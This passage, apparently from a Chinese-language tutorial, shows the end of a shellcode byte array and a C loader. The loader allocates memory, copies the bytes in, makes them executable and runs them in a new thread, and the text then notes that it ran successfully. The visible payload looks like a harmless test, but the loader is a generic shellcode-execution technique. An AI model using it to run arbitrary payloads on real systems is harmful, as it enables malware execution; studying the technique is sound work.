0x74, 0x65, 0x66, 0xC7, 0x45,    0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7,    0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45,    0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7,    0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3}; void main(){    void* exec;    BOOL rv;    HANDLE th;    DWORD oldprotect = 0;    unsigned int payload_len =351;    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    RtlMoveMemory(exec, hexData, payload_len);    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);    WaitForSingleObject(th, -1);}

成功運行,如下所示: